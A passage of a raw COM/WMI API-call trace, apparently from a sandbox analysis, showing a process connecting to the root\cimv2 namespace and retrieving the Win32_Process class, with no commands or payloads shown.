This=0x1b4aee60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4aee60) returned 0x0 [0127.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0127.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0127.985] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0127.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0127.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0127.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b482990) returned 0x0 [0127.986] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482990, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.986] WbemDefPath:IUnknown:Release (This=0x1b482990) returned 0x3 [0127.986] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0127.986] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0127.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0127.986] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0127.986] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0127.986] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0127.986] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0127.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4aee60) returned 0x0 [0127.986] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0127.986] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0127.986] WbemDefPath:IWbemPath:SetText (This=0x1b4aee60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0127.986] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0127.986] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.986] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0127.986] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0127.986] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0127.986] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.987] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b482390) returned 0x0 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482390, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0127.987] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b482390, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b482510) returned 0x0 [0127.987] WbemLocator:IUnknown:Release (This=0x1b482390) returned 0x0 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b482510) returned 0x0 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0127.987] WbemLocator:IUnknown:AddRef (This=0x1b482510) returned 0x3 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0127.987] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0127.988] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0127.988] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0127.988] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0127.988] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0127.988] WbemLocator:IUnknown:Release (This=0x1b482510) returned 0x2 [0127.988] WbemLocator:IUnknown:Release (This=0x1b482510) returned 0x1 [0127.988] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0127.988] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0127.988] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482510, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b482510) returned 0x0 [0127.988] WbemLocator:IUnknown:AddRef (This=0x1b482510) returned 0x3 [0127.988] WbemLocator:IUnknown:Release (This=0x1b482510) returned 0x2 [0127.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0127.988] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0127.988] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.988] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b482450) returned 0x0 [0127.988] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b482450, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4ced40) returned 0x0 [0128.130] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ced40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511a10) returned 0x0 [0128.130] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511a10, pProxy=0x1b4ced40, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0128.130] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x1 [0128.130] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ced40, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511a58) returned 0x0 [0128.130] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ced40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511a10) returned 0x0 [0128.130] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511a10, pProxy=0x1b4ced40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.130] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x2 [0128.131] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0128.131] CoTaskMemFree (pv=0x1b461f40) [0128.131] WbemLocator:IUnknown:Release (This=0x1b482450) returned 0x0 [0128.131] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ced40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511a58) returned 0x0 [0128.131] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0128.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0128.136] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ced40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0128.138] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0128.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0128.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0128.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b511938) returned 0x0 [0128.138] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511938, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.138] WbemLocator:IUnknown:Release (This=0x1b511938) returned 0x3 [0128.138] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0128.138] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0128.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b511a20) returned 0x0 [0128.138] WbemLocator:IRpcOptions:Query (in: This=0x1b511a20, pPrx=0x1b511a58, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0128.138] WbemLocator:IUnknown:Release (This=0x1b511a20) returned 0x3 [0128.138] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0128.138] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0128.138] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0128.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4ced40) returned 0x0 [0128.139] WbemLocator:IUnknown:AddRef (This=0x1b4ced40) returned 0x4 [0128.139] WbemLocator:IUnknown:Release (This=0x1b4ced40) returned 0x3 [0128.139] WbemLocator:IUnknown:Release (This=0x1b4ced40) returned 0x2 [0128.139] SysStringLen (param_1=0x0) returned 0x0 [0128.139] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0128.139] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0128.139] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.139] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0128.139] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0128.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511a58) returned 0x0 [0128.139] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0128.139] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0128.140] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0128.140] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0128.140] IWbemServices:GetObject (in: This=0x1b4ced40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8da0, ppCallResult=0x0) returned 0x0 [0128.146] IWbemClassObject:Get (in: This=0x1b4d8da0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0128.146] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0128.146] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0128.146] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0128.147] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0128.147] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0128.147] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.148] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b482610) returned 0x0 [0128.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482610, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0128.148] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482610, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4afbe0) returned 0x0 [0128.148] WbemDefPath:IUnknown:Release (This=0x1b482610) returned 0x0 [0128.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4afbe0) returned 0x0 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0128.149] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0128.149] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b482930) returned 0x0 [0128.149] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482930, 